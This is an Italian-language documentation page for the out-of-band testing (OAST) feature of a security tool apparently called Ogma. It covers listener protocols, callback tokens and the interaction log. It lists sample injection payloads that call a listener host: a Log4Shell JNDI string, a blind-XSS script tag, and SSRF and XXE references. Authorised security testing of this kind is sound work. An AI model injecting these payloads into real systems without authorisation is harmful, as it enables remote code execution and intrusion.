OAST
OAST (test di sicurezza delle applicazioni fuori banda, dall'acronimo inglese) rileva vulnerabilità che non producono una risposta visibile; il bersaglio effettua invece una connessione in uscita verso un listener che controlli, confermando il problema.
Come funziona
Ogma esegue listener locali su più protocolli. Quando un'applicazione bersaglio contatta uno di questi listener, l'interazione viene registrata con IP di origine, marca temporale, dati ricevuti e token iniettato.
Protocolli dei listener
| Protocollo | Porta predefinita | Caso d'uso |
|---|---|---|
| HTTP | Configurabile | SSRF, XSS cieco, webhook |
| HTTPS | Configurabile | SSRF tramite TLS |
| DNS | Configurabile | Iniezione cieca, XXE, log4shell |
| SMTP | Configurabile | Iniezione di intestazioni email, SSRF verso servizi di posta |
Configura le porte dei listener e il nome di dominio usato nei token generati nel pannello delle impostazioni OAST.
Generare un token di callback
- Apri Utilità > OAST.
- Fai clic su Genera token. Ogni token è univoco per il singolo test.
- Copia il token. Include il dominio del listener e un identificatore univoco, così puoi ricondurre le interazioni al test specifico.
Esempio di formato del token: [unique-id].[your-oast-domain]
Usare i token nei payload
Inietta il token di callback in qualsiasi campo dal quale l'applicazione possa effettuare una connessione in uscita:
- SSRF: usa il token HTTP/HTTPS come URL bersaglio:
https://[token]/ - XXE: fai riferimento al token in un DOCTYPE o nell'URL di un'entità esterna.
- Log4Shell: inseriscilo in un'intestazione:
${jndi:ldap://[token]/a} - XSS cieco: iniettalo come src di uno script:
<script src="https://[token]/x.js"></script> - Iniezione SMTP: usalo come indirizzo di destinazione o URL nelle intestazioni email.
Registro delle interazioni
Il pannello delle interazioni mostra ogni callback ricevuto:
| Colonna | Descrizione |
|---|---|
| Ora | Quando è stata ricevuta l'interazione |
| Protocollo | HTTP, HTTPS, DNS o SMTP |
| IP di origine | Indirizzo IP che ha effettuato la connessione |
| Token | Quale token è stato contattato |
| Dati | Percorso della richiesta, nome della query DNS o dati SMTP |
Fai clic su una riga per vedere tutti i dettagli dell'interazione, comprese le intestazioni e il corpo della richiesta, quando applicabile.
Associare le interazioni ai test
Poiché ogni token è univoco, puoi iniettare token diversi in parametri o richieste differenti e determinare esattamente quale punto di iniezione ha attivato il callback.